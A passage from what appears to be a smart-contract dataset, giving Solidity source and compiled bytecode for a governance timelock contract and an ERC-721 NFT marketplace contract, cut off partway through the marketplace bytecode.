public { require(msg.sender == pendingAdmin, "EliteTimelock::acceptAdmin: Call must come from pendingAdmin."); admin = msg.sender; pendingAdmin = address(0); emit NewAdmin(admin); } function setPendingAdmin(address pendingAdmin_) public { require(msg.sender == address(this), "EliteTimelock::setPendingAdmin: Call must come from EliteTimelock."); pendingAdmin = pendingAdmin_; emit NewPendingAdmin(pendingAdmin); } function queueTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public returns (bytes32) { require(msg.sender == admin, "EliteTimelock::queueTransaction: Call must come from admin."); require(eta >= getBlockTimestamp().add(delay), "EliteTimelock::queueTransaction: Estimated execution block must satisfy delay."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = true; emit QueueTransaction(txHash, target, value, signature, data, eta); return txHash; } function cancelTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public { require(msg.sender == admin, "EliteTimelock::cancelTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); queuedTransactions[txHash] = false; emit CancelTransaction(txHash, target, value, signature, data, eta); } function executeTransaction(address target, uint value, string memory signature, bytes memory data, uint eta) public payable returns (bytes memory) { require(msg.sender == admin, "EliteTimelock::executeTransaction: Call must come from admin."); bytes32 txHash = keccak256(abi.encode(target, value, signature, data, eta)); require(queuedTransactions[txHash], "EliteTimelock::executeTransaction: Transaction hasn't been queued."); require(getBlockTimestamp() >= eta, "EliteTimelock::executeTransaction: Transaction hasn't surpassed time lock."); require(getBlockTimestamp() <= eta.add(GRACE_PERIOD), "EliteTimelock::executeTransaction: Transaction is stale."); queuedTransactions[txHash] = false; bytes memory callData; if (bytes(signature).length == 0) { callData = data; } else { callData = abi.encodePacked(bytes4(keccak256(bytes(signature))), data); } // solium-disable-next-line security/no-call-value (bool success, bytes memory returnData) = target.call.value(value)(callData); require(success, "EliteTimelock::executeTransaction: Transaction execution reverted."); emit ExecuteTransaction(txHash, target, value, signature, data, eta); return returnData; } function getBlockTimestamp() internal view returns (uint) { // solium-disable-next-line security/no-block-members return block.timestamp; } }
0x6080604052600436106100d25760003560e01c80636a42b8f81161007f578063c1a287e211610059578063c1a287e21461063a578063e177246e1461064f578063f2b0653714610679578063f851a440146106b7576100d2565b80636a42b8f8146105fb5780637d645fab14610610578063b1b43ae514610625576100d2565b80633a66f901116100b05780633a66f901146102ed5780634dd18bf51461045d578063591fcdfe1461049d576100d2565b80630825f38f146100d45780630e18b6811461029a57806326782247146102af575b005b610225600480360360a08110156100ea57600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561012757600080fd5b82018360208201111561013957600080fd5b8035906020019184600183028401116401000000008311171561015b57600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156101ae57600080fd5b8201836020820111156101c057600080fd5b803590602001918460018302840111640100000000831117156101e257600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092955050913592506106cc915050565b6040805160208082528351818301528351919283929083019185019080838360005b8381101561025f578181015183820152602001610247565b50505050905090810190601f16801561028c5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156102a657600080fd5b506100d2610d4a565b3480156102bb57600080fd5b506102c4610e32565b6040805173ffffffffffffffffffffffffffffffffffffffff9092168252519081900360200190f35b3480156102f957600080fd5b5061044b600480360360a081101561031057600080fd5b73ffffffffffffffffffffffffffffffffffffffff8235169160208101359181019060608101604082013564010000000081111561034d57600080fd5b82018360208201111561035f57600080fd5b8035906020019184600183028401116401000000008311171561038157600080fd5b91908080601f01602080910402602001604051908101604052809392919081815260200183838082843760009201919091525092959493602081019350359150506401000000008111156103d457600080fd5b8201836020820111156103e657600080fd5b8035906020019184600183028401116401000000008311171561040857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250610e4e915050565b60408051918252519081900360200190f35b34801561046957600080fd5b506100d26004803603602081101561048057600080fd5b503573ffffffffffffffffffffffffffffffffffffffff166111c7565b3480156104a957600080fd5b506100d2600480360360a08110156104c057600080fd5b73ffffffffffffffffffffffffffffffffffffffff823516916020810135918101906060810160408201356401000000008111156104fd57600080fd5b82018360208201111561050f57600080fd5b8035906020019184600183028401116401000000008311171561053157600080fd5b91908080601f016020809104026020016040519081016040528093929190818152602001838380828437600092019190915250929594936020810193503591505064010000000081111561058457600080fd5b82018360208201111561059657600080fd5b803590602001918460018302840111640100000000831117156105b857600080fd5b91908080601f0160208091040260200160405190810160405280939291908181526020018383808284376000920191909152509295505091359250611294915050565b34801561060757600080fd5b5061044b611598565b34801561061c57600080fd5b5061044b61159e565b34801561063157600080fd5b5061044b6115a5565b34801561064657600080fd5b5061044b6115ac565b34801561065b57600080fd5b506100d26004803603602081101561067257600080fd5b50356115b3565b34801561068557600080fd5b506106a36004803603602081101561069c57600080fd5b50356116f6565b604080519115158252519081900360200190f35b3480156106c357600080fd5b506102c461170b565b60005460609073ffffffffffffffffffffffffffffffffffffffff16331461073f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611a65603d913960400191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156107c85781810151838201526020016107b0565b50505050905090810190601f1680156107f55780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610828578181015183820152602001610810565b50505050905090810190601f1680156108555780820380516001836020036101000a031916815260200191505b50604080517fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe081840301815291815281516020928301206000818152600390935291205490995060ff1697506108fe9650505050505050576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604281526020018061189b6042913960600191505060405180910390fd5b82610907611727565b101561095e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604a8152602001806119a8604a913960600191505060405180910390fd5b610971836212750063ffffffff61172b16565b610979611727565b11156109d0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260388152602001806119f26038913960400191505060405180910390fd5b600081815260036020526040902080547fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff001690558451606090610a14575083610ae9565b85805190602001208560405160200180837bffffffffffffffffffffffffffffffffffffffffffffffffffffffff19167bffffffffffffffffffffffffffffffffffffffffffffffffffffffff1916815260040182805190602001908083835b60208310610ab157805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610a74565b6001836020036101000a0380198251168184511680821785525050505050509050019250505060405160208183030381529060405290505b600060608973ffffffffffffffffffffffffffffffffffffffff1689846040518082805190602001908083835b60208310610b5357805182527fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffe09092019160209182019101610b16565b6001836020036101000a03801982511681845116808217855250505050505090500191505060006040518083038185875af1925050503d8060008114610bb5576040519150601f19603f3d011682016040523d82523d6000602084013e610bba565b606091505b509150915081610c15576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604281526020018061192b6042913960600191505060405180910390fd5b8973ffffffffffffffffffffffffffffffffffffffff16847fa560e3198060a2f10670c1ec5b403077ea6ae93ca8de1c32b451dc1a943cd6e78b8b8b8b604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610c9f578181015183820152602001610c87565b50505050905090810190601f168015610ccc5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b83811015610cff578181015183820152602001610ce7565b50505050905090810190601f168015610d2c5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39998505050505050505050565b60015473ffffffffffffffffffffffffffffffffffffffff163314610dba576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d8152602001806117e0603d913960400191505060405180910390fd5b60008054337fffffffffffffffffffffffff0000000000000000000000000000000000000000918216178083556001805490921690915560405173ffffffffffffffffffffffffffffffffffffffff909116917f71614071b88dee5e0b2ae578a9dd7b2ebbe9ae832ba419dc0242cd065a290b6c91a2565b60015473ffffffffffffffffffffffffffffffffffffffff1681565b6000805473ffffffffffffffffffffffffffffffffffffffff163314610ebf576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061196d603b913960400191505060405180910390fd5b610ed9600254610ecd611727565b9063ffffffff61172b16565b821015610f31576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604e8152602001806118dd604e913960600191505060405180910390fd5b60008686868686604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b83811015610fba578181015183820152602001610fa2565b50505050905090810190601f168015610fe75780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561101a578181015183820152602001611002565b50505050905090810190601f1680156110475780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060016003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508673ffffffffffffffffffffffffffffffffffffffff16817f76e2796dc3a81d57b0e8504b647febcbeeb5f4af818e164f11eef8131a6a763f88888888604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561111f578181015183820152602001611107565b50505050905090810190601f16801561114c5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561117f578181015183820152602001611167565b50505050905090810190601f1680156111ac5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a39695505050505050565b33301461121f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252604281526020018061181d6042913960600191505060405180910390fd5b600180547fffffffffffffffffffffffff00000000000000000000000000000000000000001673ffffffffffffffffffffffffffffffffffffffff83811691909117918290556040519116907f69d78e38a01985fbb1462961809b4b2d65531bc93b2b94037f3334b82ca4a75690600090a250565b60005473ffffffffffffffffffffffffffffffffffffffff163314611304576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603c81526020018061185f603c913960400191505060405180910390fd5b60008585858585604051602001808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b8381101561138d578181015183820152602001611375565b50505050905090810190601f1680156113ba5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b838110156113ed5781810151838201526020016113d5565b50505050905090810190601f16801561141a5780820380516001836020036101000a031916815260200191505b5097505050505050505060405160208183030381529060405280519060200120905060006003600083815260200190815260200160002060006101000a81548160ff0219169083151502179055508573ffffffffffffffffffffffffffffffffffffffff16817f2fffc091a501fd91bfbff27141450d3acb40fb8e6d8382b243ec7a812a3aaf8787878787604051808581526020018060200180602001848152602001838103835286818151815260200191508051906020019080838360005b838110156114f25781810151838201526020016114da565b50505050905090810190601f16801561151f5780820380516001836020036101000a031916815260200191505b50838103825285518152855160209182019187019080838360005b8381101561155257818101518382015260200161153a565b50505050905090810190601f16801561157f5780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a3505050505050565b60025481565b62278d0081565b6202a30081565b6212750081565b33301461160b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b815260200180611a2a603b913960400191505060405180910390fd5b6202a300811015611667576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260398152602001806117a76039913960400191505060405180910390fd5b62278d008111156116c3576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603d815260200180611aa2603d913960400191505060405180910390fd5b600281905560405181907f948b1f6a42ee138b7e34058ba85a37f716d55ff25ff05a763f15bed6a04c8d2c90600090a250565b60036020526000908152604090205460ff1681565b60005473ffffffffffffffffffffffffffffffffffffffff1681565b4290565b60008282018381101561179f57604080517f08c379a000000000000000000000000000000000000000000000000000000000815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f770000000000604482015290519081900360640190fd5b939250505056fe456c69746554696d656c6f636b3a3a73657444656c61793a2044656c6179206d75737420657863656564206d696e696d756d2064656c61792e456c69746554696d656c6f636b3a3a61636365707441646d696e3a2043616c6c206d75737420636f6d652066726f6d2070656e64696e6741646d696e2e456c69746554696d656c6f636b3a3a73657450656e64696e6741646d696e3a2043616c6c206d75737420636f6d652066726f6d20456c69746554696d656c6f636b2e456c69746554696d656c6f636b3a3a63616e63656c5472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e456c69746554696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774206265656e207175657565642e456c69746554696d656c6f636b3a3a71756575655472616e73616374696f6e3a20457374696d6174656420657865637574696f6e20626c6f636b206d75737420736174697366792064656c61792e456c69746554696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e20657865637574696f6e2072657665727465642e456c69746554696d656c6f636b3a3a71756575655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e456c69746554696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206861736e2774207375727061737365642074696d65206c6f636b2e456c69746554696d656c6f636b3a3a657865637574655472616e73616374696f6e3a205472616e73616374696f6e206973207374616c652e456c69746554696d656c6f636b3a3a73657444656c61793a2043616c6c206d75737420636f6d652066726f6d20456c69746554696d656c6f636b2e456c69746554696d656c6f636b3a3a657865637574655472616e73616374696f6e3a2043616c6c206d75737420636f6d652066726f6d2061646d696e2e456c69746554696d656c6f636b3a3a73657444656c61793a2044656c6179206d757374206e6f7420657863656564206d6178696d756d2064656c61792ea265627a7a72315820a0456cfabd56cea8456e188cb4280f55e797b4bac77764fd4224e56285b2a1c064736f6c63430005100032
{"success": true, "error": null, "results": {}}
9,552
0xb3bca6f5052c7e24726b44da7403b56a8a1b98f8
pragma solidity 0.4.21; // File: zeppelin-solidity/contracts/ownership/Ownable.sol /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". */ contract Ownable { address public owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function Ownable() public { owner = msg.sender; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(msg.sender == owner); _; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { require(newOwner != address(0)); OwnershipTransferred(owner, newOwner); owner = newOwner; } } // File: zeppelin-solidity/contracts/lifecycle/Destructible.sol /** * @title Destructible * @dev Base contract that can be destroyed by owner. All funds in contract will be sent to the owner. */ contract Destructible is Ownable { function Destructible() public payable { } /** * @dev Transfers the current balance to the owner and terminates the contract. */ function destroy() onlyOwner public { selfdestruct(owner); } function destroyAndSend(address _recipient) onlyOwner public { selfdestruct(_recipient); } } // File: zeppelin-solidity/contracts/lifecycle/Pausable.sol /** * @title Pausable * @dev Base contract which allows children to implement an emergency stop mechanism. */ contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; /** * @dev Modifier to make a function callable only when the contract is not paused. */ modifier whenNotPaused() { require(!paused); _; } /** * @dev Modifier to make a function callable only when the contract is paused. */ modifier whenPaused() { require(paused); _; } /** * @dev called by the owner to pause, triggers stopped state */ function pause() onlyOwner whenNotPaused public { paused = true; Pause(); } /** * @dev called by the owner to unpause, returns to normal state */ function unpause() onlyOwner whenPaused public { paused = false; Unpause(); } } // File: zeppelin-solidity/contracts/math/SafeMath.sol /** * @title SafeMath * @dev Math operations with safety checks that throw on error */ library SafeMath { /** * @dev Multiplies two numbers, throws on overflow. */ function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; assert(c / a == b); return c; } /** * @dev Integer division of two numbers, truncating the quotient. */ function div(uint256 a, uint256 b) internal pure returns (uint256) { // assert(b > 0); // Solidity automatically throws when dividing by 0 uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } /** * @dev Substracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). */ function sub(uint256 a, uint256 b) internal pure returns (uint256) { assert(b <= a); return a - b; } /** * @dev Adds two numbers, throws on overflow. */ function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; assert(c >= a); return c; } } // File: contracts/marketplace/Marketplace.sol /** * @title Interface for contracts conforming to ERC-20 */ contract ERC20Interface { function transferFrom(address from, address to, uint tokens) public returns (bool success); } /** * @title Interface for contracts conforming to ERC-721 */ contract ERC721Interface { function ownerOf(uint256 assetId) public view returns (address); function safeTransferFrom(address from, address to, uint256 assetId) public; function isAuthorized(address operator, uint256 assetId) public view returns (bool); } contract Marketplace is Ownable, Pausable, Destructible { using SafeMath for uint256; ERC20Interface public acceptedToken; ERC721Interface public nonFungibleRegistry; struct Auction { // Auction ID bytes32 id; // Owner of the NFT address seller; // Price (in wei) for the published item uint256 price; // Time when this sale ends uint256 expiresAt; } mapping (uint256 => Auction) public auctionByAssetId; uint256 public ownerCutPercentage; uint256 public publicationFeeInWei; /* EVENTS */ event AuctionCreated( bytes32 id, uint256 indexed assetId, address indexed seller, uint256 priceInWei, uint256 expiresAt ); event AuctionSuccessful( bytes32 id, uint256 indexed assetId, address indexed seller, uint256 totalPrice, address indexed winner ); event AuctionCancelled( bytes32 id, uint256 indexed assetId, address indexed seller ); event ChangedPublicationFee(uint256 publicationFee); event ChangedOwnerCut(uint256 ownerCut); /** * @dev Constructor for this contract. * @param _acceptedToken - Address of the ERC20 accepted for this marketplace * @param _nonFungibleRegistry - Address of the ERC721 registry contract. */ function Marketplace(address _acceptedToken, address _nonFungibleRegistry) public { acceptedToken = ERC20Interface(_acceptedToken); nonFungibleRegistry = ERC721Interface(_nonFungibleRegistry); } /** * @dev Sets the publication fee that's charged to users to publish items * @param publicationFee - Fee amount in wei this contract charges to publish an item */ function setPublicationFee(uint256 publicationFee) onlyOwner public { publicationFeeInWei = publicationFee; ChangedPublicationFee(publicationFeeInWei); } /** * @dev Sets the share cut for the owner of the contract that's * charged to the seller on a successful sale. * @param ownerCut - Share amount, from 0 to 100 */ function setOwnerCut(uint8 ownerCut) onlyOwner public { require(ownerCut < 100); ownerCutPercentage = ownerCut; ChangedOwnerCut(ownerCutPercentage); } /** * @dev Cancel an already published order * @param assetId - ID of the published NFT * @param priceInWei - Price in Wei for the supported coin. * @param expiresAt - Duration of the auction (in hours) */ function createOrder(uint256 assetId, uint256 priceInWei, uint256 expiresAt) public whenNotPaused { address assetOwner = nonFungibleRegistry.ownerOf(assetId); require(msg.sender == assetOwner); require(nonFungibleRegistry.isAuthorized(address(this), assetId)); require(priceInWei > 0); require(expiresAt > now.add(1 minutes)); bytes32 auctionId = keccak256( block.timestamp, assetOwner, assetId, priceInWei ); auctionByAssetId[assetId] = Auction({ id: auctionId, seller: assetOwner, price: priceInWei, expiresAt: expiresAt }); // Check if there's a publication fee and // transfer the amount to marketplace owner. if (publicationFeeInWei > 0) { require(acceptedToken.transferFrom( msg.sender, owner, publicationFeeInWei )); } AuctionCreated( auctionId, assetId, assetOwner, priceInWei, expiresAt ); } /** * @dev Cancel an already published order * can only be canceled by seller or the contract owner. * @param assetId - ID of the published NFT */ function cancelOrder(uint256 assetId) public whenNotPaused { require(auctionByAssetId[assetId].seller == msg.sender || msg.sender == owner); bytes32 auctionId = auctionByAssetId[assetId].id; address auctionSeller = auctionByAssetId[assetId].seller; delete auctionByAssetId[assetId]; AuctionCancelled(auctionId, assetId, auctionSeller); } /** * @dev Executes the sale for a published NTF * @param assetId - ID of the published NFT */ function executeOrder(uint256 assetId, uint256 price) public whenNotPaused { address seller = auctionByAssetId[assetId].seller; require(seller != address(0)); require(seller != msg.sender); require(auctionByAssetId[assetId].price == price); require(now < auctionByAssetId[assetId].expiresAt); require(seller == nonFungibleRegistry.ownerOf(assetId)); uint saleShareAmount = 0; if (ownerCutPercentage > 0) { // Calculate sale share saleShareAmount = price.mul(ownerCutPercentage).div(100); // Transfer share amount for marketplace Owner. acceptedToken.transferFrom( msg.sender, owner, saleShareAmount ); } // Transfer sale amount to seller acceptedToken.transferFrom( msg.sender, seller, price.sub(saleShareAmount) ); // Transfer asset owner nonFungibleRegistry.safeTransferFrom( seller, msg.sender, assetId ); bytes32 auctionId = auctionByAssetId[assetId].id; delete auctionByAssetId[assetId]; AuctionSuccessful(auctionId, assetId, seller, price, msg.sender); } }
0x6060604052600436106100f1576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305597d88146100f65780632be798331461011c5780633f4ba83a14610171578063451c3d8014610186578063514fcac7146101db5780635c975abb146101fe5780638174b6d71461022b57806383197ef0146102545780638456cb59146102695780638da5cb5b1461027e578063a1ba444d146102d3578063ae4f119814610308578063af8996f114610331578063d7b4010714610354578063ef46e0ca146103d4578063f2fde38b14610400578063f5074f4114610439575b600080fd5b341561010157600080fd5b61011a600480803560ff16906020019091905050610472565b005b341561012757600080fd5b61012f610525565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b341561017c57600080fd5b61018461054b565b005b341561019157600080fd5b610199610609565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156101e657600080fd5b6101fc600480803590602001909190505061062f565b005b341561020957600080fd5b610211610818565b604051808215151515815260200191505060405180910390f35b341561023657600080fd5b61023e61082b565b6040518082815260200191505060405180910390f35b341561025f57600080fd5b610267610831565b005b341561027457600080fd5b61027c6108c6565b005b341561028957600080fd5b610291610986565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156102de57600080fd5b61030660048080359060200190919080359060200190919080359060200190919050506109ab565b005b341561031357600080fd5b61031b610ea2565b6040518082815260200191505060405180910390f35b341561033c57600080fd5b6103526004808035906020019091905050610ea8565b005b341561035f57600080fd5b6103756004808035906020019091905050610f46565b6040518085600019166000191681526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200183815260200182815260200194505050505060405180910390f35b34156103df57600080fd5b6103fe6004808035906020019091908035906020019091905050610f96565b005b341561040b57600080fd5b610437600480803573ffffffffffffffffffffffffffffffffffffffff1690602001909190505061160e565b005b341561044457600080fd5b610470600480803573ffffffffffffffffffffffffffffffffffffffff16906020019091905050611763565b005b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156104cd57600080fd5b60648160ff161015156104df57600080fd5b8060ff166004819055507f318a03d593a9ae84a371201241efc481240c14fca9adad13b0dd88e388e046296004546040518082815260200191505060405180910390a150565b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415156105a657600080fd5b600060149054906101000a900460ff1615156105c157600080fd5b60008060146101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600060149054906101000a900460ff1615151561064e57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff166003600085815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16148061070a57506000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b151561071557600080fd5b600360008481526020019081526020016000206000015491506003600084815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169050600360008481526020019081526020016000206000808201600090556001820160006101000a81549073ffffffffffffffffffffffffffffffffffffffff02191690556002820160009055600382016000905550508073ffffffffffffffffffffffffffffffffffffffff16837f88bd2ba46f3dc2567144331c35bd4c5ced3d547d8828638a152ddd9591c137a68460405180826000191660001916815260200191505060405180910390a3505050565b600060149054906101000a900460ff1681565b60045481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561088c57600080fd5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16ff5b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614151561092157600080fd5b600060149054906101000a900460ff1615151561093d57600080fd5b6001600060146101000a81548160ff0219169083151502179055507f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a1565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600080600060149054906101000a900460ff161515156109ca57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b1515610a5a57600080fd5b5af11515610a6757600080fd5b5050506040518051905091508173ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610aad57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16632972b0f030876040518363ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200182815260200192505050602060405180830381600087803b1515610b7157600080fd5b5af11515610b7e57600080fd5b505050604051805190501515610b9357600080fd5b600084111515610ba257600080fd5b610bb6603c426117d790919063ffffffff16565b83111515610bc357600080fd5b42828686604051808581526020018473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166c0100000000000000000000000002815260140183815260200182815260200194505050505060405180910390209050608060405190810160405280826000191681526020018373ffffffffffffffffffffffffffffffffffffffff16815260200185815260200184815250600360008781526020019081526020016000206000820151816000019060001916905560208201518160010160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550604082015181600201556060820151816003015590505060006005541115610e3457600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff166005546040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b1515610e1157600080fd5b5af11515610e1e57600080fd5b505050604051805190501515610e3357600080fd5b5b8173ffffffffffffffffffffffffffffffffffffffff16857f9493ae82b9872af74473effb9d302efba34e0df360a99cc5e577cd3f28e3cab2838787604051808460001916600019168152602001838152602001828152602001935050505060405180910390a35050505050565b60055481565b6000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610f0357600080fd5b806005819055507fe7fa8737293f41b5dfa0d5c3e552860a06275bed7015581b083c7be7003308ba6005546040518082815260200191505060405180910390a150565b60036020528060005260406000206000915090508060000154908060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16908060020154908060030154905084565b60008060008060149054906101000a900460ff16151515610fb657600080fd5b6003600086815260200190815260200160002060010160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff169250600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561102b57600080fd5b3373ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415151561106657600080fd5b83600360008781526020019081526020016000206002015414151561108a57600080fd5b6003600086815260200190815260200160002060030154421015156110ae57600080fd5b600260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16636352211e866040518263ffffffff167c010000000000000000000000000000000000000000000000000000000002815260040180828152602001915050602060405180830381600087803b151561113e57600080fd5b5af1151561114b57600080fd5b5050506040518051905073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614151561118e57600080fd5b60009150600060045411156112f9576111c560646111b7600454876117f590919063ffffffff16565b61183090919063ffffffff16565b9150600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd336000809054906101000a900473ffffffffffffffffffffffffffffffffffffffff16856040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b15156112e057600080fd5b5af115156112ed57600080fd5b50505060405180519050505b600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166323b872dd338561134c868961184b90919063ffffffff16565b6040518463ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020018281526020019350505050602060405180830381600087803b151561140357600080fd5b5af1151561141057600080fd5b5050506040518051905050600260